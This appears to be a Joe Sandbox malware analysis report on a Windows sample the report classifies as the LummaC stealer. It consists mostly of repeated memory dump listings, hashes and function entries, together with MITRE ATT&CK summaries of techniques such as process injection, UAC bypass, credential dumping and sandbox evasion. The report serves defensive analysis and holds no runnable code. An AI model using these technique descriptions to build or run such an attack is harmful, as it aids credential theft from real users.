Associated: 00000003.00000002.2430436351.0000000000504000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430488858.0000000000507000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430512791.0000000000508000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430529011.000000000050B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430587008.0000000000521000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430639084.000000000052D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430710317.000000000052E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430745938.0000000000536000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430767539.0000000000542000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430815681.0000000000547000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430838336.0000000000562000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430886770.0000000000564000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430910808.0000000000565000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431133680.000000000056F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431151321.0000000000570000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431290219.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431308061.000000000057F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431354178.0000000000581000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431370209.0000000000588000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431387224.0000000000589000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431431663.000000000058A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431452188.000000000058B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431489728.000000000058C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431625634.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431668298.000000000059B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433008791.000000000059D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433330412.00000000005AC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434382405.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434899100.00000000005B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434921130.00000000005BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434986324.000000000060A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2435002224.000000000060C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID:
String ID: GxY}$M
API String ID: 0-2039764953
Opcode ID: 4b0bc00041cff7aac35d20de28b0640fe5c93c4804fd38e9d59a8527699e1509
Instruction ID: c4eafe9a7ee0d83e9b7a11671960caced94e7ee963a091845c3617ceef593f95
Opcode Fuzzy Hash: 4b0bc00041cff7aac35d20de28b0640fe5c93c4804fd38e9d59a8527699e1509
Instruction Fuzzy Hash: 6141E2F150C285DFD305AE2AC884A3EB7E4EF94311F12883EE6C687640E6354C45DA9B

Function 004E8DC7 Relevance: 2.6, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

M, xrefs: 004E9481
GxY}, xrefs: 004E9917

Memory Dump Source

Source File: 00000003.00000002.2430243955.00000000004E4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2429965852.0000000000360000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2429987594.0000000000362000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430003965.0000000000366000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430020233.000000000036A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430036936.0000000000376000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430177163.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430196201.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430243955.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430318962.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430336985.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430357064.0000000000502000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430410186.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430436351.0000000000504000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430488858.0000000000507000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430512791.0000000000508000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430529011.000000000050B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430587008.0000000000521000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430639084.000000000052D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430710317.000000000052E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430745938.0000000000536000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430767539.0000000000542000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430815681.0000000000547000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430838336.0000000000562000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430886770.0000000000564000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430910808.0000000000565000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431133680.000000000056F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431151321.0000000000570000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431290219.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431308061.000000000057F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431354178.0000000000581000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431370209.0000000000588000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431387224.0000000000589000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431431663.000000000058A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431452188.000000000058B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431489728.000000000058C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431625634.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431668298.000000000059B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433008791.000000000059D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433330412.00000000005AC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434382405.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434899100.00000000005B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434921130.00000000005BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434986324.000000000060A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2435002224.000000000060C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID:
String ID: GxY}$M
API String ID: 0-2039764953
Opcode ID: a541c50e7ded796e6bd345252060f2f44085534b974d391353cd6df8101700c3
Instruction ID: c4eafe9a7ee0d83e9b7a11671960caced94e7ee963a091845c3617ceef593f95
Opcode Fuzzy Hash: a541c50e7ded796e6bd345252060f2f44085534b974d391353cd6df8101700c3
Instruction Fuzzy Hash: 6141E2F150C285DFD305AE2AC884A3EB7E4EF94311F12883EE6C687640E6354C45DA9B

Function 004EF922 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

6sno, xrefs: 004EFAAF

Memory Dump Source

Source File: 00000003.00000002.2430243955.00000000004EF000.00000040.00000001.01000000.00000006.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2429965852.0000000000360000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2429987594.0000000000362000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430003965.0000000000366000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430020233.000000000036A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430036936.0000000000376000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430177163.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430196201.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430243955.00000000004E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430318962.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430336985.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430357064.0000000000502000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430410186.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430436351.0000000000504000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430488858.0000000000507000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430512791.0000000000508000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430529011.000000000050B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430587008.0000000000521000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430639084.000000000052D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430710317.000000000052E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430745938.0000000000536000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430767539.0000000000542000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430815681.0000000000547000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430838336.0000000000562000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430886770.0000000000564000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430910808.0000000000565000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431133680.000000000056F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431151321.0000000000570000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431290219.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431308061.000000000057F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431354178.0000000000581000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431370209.0000000000588000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431387224.0000000000589000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431431663.000000000058A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431452188.000000000058B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431489728.000000000058C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431625634.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431668298.000000000059B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433008791.000000000059D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433330412.00000000005AC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434382405.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434899100.00000000005B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434921130.00000000005BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434986324.000000000060A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2435002224.000000000060C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID:
String ID: 6sno
API String ID: 0-2227213448
Opcode ID: d485e58af3b114f13906f088b7aa76aeaeb0f0cc5a7240c5d509d7cf718bd526
Instruction ID: 6f7f34331393e693ca47177d59fdffdecd2ca322f558fd2cf12d4a0bf9d4001b
Opcode Fuzzy Hash: d485e58af3b114f13906f088b7aa76aeaeb0f0cc5a7240c5d509d7cf718bd526
Instruction Fuzzy Hash: B731A9B391C688EFD244AA16DC0573A72D59B94302F35893FE0C7CA305F539544FA28B

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe.log

C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 004E7947 Relevance: 1.6, APIs: 1, Instructions: 105
libraryCOMMON

Function 004F38BF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119
registryCOMMON

Function 004EB2DB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
fileCOMMON

Function 004E7A8F Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Function 004EB28A Relevance: 1.6, APIs: 1, Instructions: 94
fileCOMMON

Function 004EB285 Relevance: 1.6, APIs: 1, Instructions: 91
fileCOMMON

Function 04BB0D41 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Function 04BB0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04BB1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 04BB1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04BB1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Function 004EB2FA Relevance: 1.5, APIs: 1, Instructions: 48
fileCOMMON

Function 004F3EA6 Relevance: 1.5, APIs: 1, Instructions: 47
libraryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre